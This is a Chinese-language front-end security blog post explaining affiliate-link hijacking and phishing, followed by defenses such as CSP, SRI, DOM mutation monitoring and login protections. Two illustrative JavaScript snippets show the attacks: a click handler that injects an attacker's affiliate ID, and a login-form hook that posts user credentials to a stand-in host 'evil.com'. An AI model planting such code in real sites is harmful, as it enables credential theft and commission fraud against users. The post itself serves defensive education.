WHAT - affiliate 网络和钓鱼攻击

引言

在现代 Web 生态中,前端工程师不仅要关注功能和性能,还要防范各类安全威胁。

其中,affiliate 网络滥用钓鱼攻击是攻击者常用的获利手段。本文将从前端视角出发,深入探讨二者的原理、协同方式,以及具体的检测和防御策略。

一、什么是 Affiliate 网络滥用?

1.1 Affiliate 网络简介

  • 定义:按效果付费的推广模式,推广者(Affiliate)在其渠道投放带有专属参数的链接,每产生一次有效转化(点击、注册、购买)就能获得佣金。
  • 正常用途:品牌方借助 affiliate 扩展流量来源,合作伙伴获取推广收益。

1.2 滥用方式

  • 链接注入:攻击者通过 XSS、过时插件或缓存中毒向页面中注入带有 affiliate 参数的脚本。
  • 重写跳转:拦截用户点击事件,将原始链接重写为带有嫖客(Affiliate)ID 的目标 URL。
// 在全局捕获 a 标签点击,注入 affiliate 参数
window.addEventListener('click', e => {
  const a = e.target.closest('a');
  if (a && a.href.includes('example.com/product')) {
    e.preventDefault();
    const url = new URL(a.href);
    url.searchParams.set('ref', 'evil_affiliate_id');
    window.location.href = url.toString();
  }
});

即攻击者将用户将用户重定向到带有 affiliate 参数的链接。

二、钓鱼攻击原理及前端实现

2.1 钓鱼攻击概述
  • 目标:诱导用户在伪造的高仿真、可信页面上输入敏感信息(账号、密码、支付信息)。
  • 常见载体:登录页、高仿表单、邮件链接。
2.2 前端技术手法
  • HTML/CSS 仿真:复制目标站点 DOM 结构与样式,使用自托管或缓存中毒的 CSS/JS。
  • 表单劫持:在合法表单提交前拦截用户输入并发送至攻击者服务器。
// 劫持表单提交
const loginForm = document.querySelector('#login-form');
loginForm.addEventListener('submit', e => {
  e.preventDefault();
  const data = new FormData(loginForm);
  // 偷偷将数据发给攻击者
  fetch('https://evil.com/steal', { method: 'POST', body: data });
  // 再正常提交一次到合法服务器
  loginForm.submit();
});

三、二者协同:从注入到变现

  1. 植入阶段:利用过时插件或缓存中毒,将 affiliate 注入脚本和钓鱼代码部署到目标站点。

  2. 流量劫持:脚本拦截用户行为,按场景触发:

    • 点击购买按钮时添加 affiliate 参数;
    • 访问登录表单时展示钓鱼表单。
  3. 数据收集与变现

    • affiliate 佣金结算;
    • 钓取的凭证打包出售或用于进一步的凭证填充攻击。

四、前端检测与防御策略

4.1 内容安全策略(CSP)

<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';" />
  • 限制脚本来源,防止缓存中毒或第三方注入。

4.2 子资源完整性(SRI)

<script src="https://cdn.jsdelivr.net/npm/library.js"
        integrity="sha384-..."
        crossorigin="anonymous"></script>
  • 确保引入的 CDN 资源未被篡改。

4.3 前端异常监控

  • 监控未授权的 DOM 变更:MutationObserver 报警。
  • 记录并比对出站请求:如发现发向未知 host 的表单提交。
const obs = new MutationObserver(muts => {
  for (const m of muts) {
    if (m.addedNodes.length) {
      console.warn('可能的 DOM 注入', m.addedNodes);
    }
  }
});
obs.observe(document.documentElement, { childList: true, subtree: true });

addedNodes: The MutationRecord read-only property addedNodes is a NodeList of nodes added to a target node by a mutation observed with a MutationObserver.

4.4 登录防护

  • 实施速率限制、CAPTCHA。
  • 前端结合风险评估:如检测到自动化脚本行为(无鼠标轨迹、高速点击),触发额外验证。

术语

1. 过时的插件(Outdated Plugins)

含义:
指网站或浏览器中安装的插件(如 CMS 插件、浏览器扩展、JavaScript 库)没有及时更新,存在已知安全漏洞。

攻击方式:
攻击者利用这些漏洞注入恶意代码,例如:

  • 插件执行 eval() 或动态引入远程脚本;
  • 使用 XSS、RCE 等攻击向页面中注入窃取 cookie 的代码或劫持会话;
  • 浏览器插件被攻击后,可能监控用户表单输入、篡改页面内容。

前端角度:

  • 常见漏洞插件如 WordPress 插件、jQuery UI 旧版本;
  • 对 CDN 引入的 JS 库要注意版本更新和完整性校验(integrity + crossorigin)。

2. 缓存中毒(Cache Poisoning)

含义:
攻击者伪造恶意请求,诱导缓存系统(如 CDN、反向代理)缓存错误或恶意的响应内容,从而影响其他用户。

攻击方式:

  • 利用头部差异(如 Host, X-Forwarded-For)让 CDN 缓存带恶意内容的页面;
  • 用户访问时,从缓存中加载的是被篡改的响应(可能包含恶意脚本、钓鱼表单);
  • 如果服务端响应没有做合适的缓存控制(例如响应中缺失正确的 VaryCache-Control)。

前端角度:

  • 页面加载时可能会请求被污染的 JS/CSS 文件;
  • 利用 poisoned JS 实现 session 劫持、植入广告、修改 DOM 等。

3. 凭证填充(Credential Stuffing)

含义:
黑客利用从其他网站泄露的用户名+密码组合,自动尝试登录目标网站。

攻击方式:

  • 编写脚本大规模尝试登录(通常用 botnet 执行);
  • 如果用户在多个平台使用相同密码,就会被撞库成功;
  • 登录成功后可进行钓鱼、盗号、转账等操作。

前端角度:

  • 不是前端代码的漏洞,但前端可以配合防御,比如:

    • 登录失败次数限制;
    • CAPTCHA 验证(验证码);
    • 前端 fingerprint 跟踪可疑登录。

结语

通过对 affiliate 网络滥用与钓鱼攻击的拆解,我们可以看到攻击者利用前端代码的信任边界进行注入与劫持。

作为前端工程师,除了撰写功能代码,更应将安全防护纳入开发流程:合理配置 CSP、SRI,实时监控可疑变更,结合后端验签与风控策略,才能筑牢 Web 应用的最后一道防线。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@PHARAOH

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值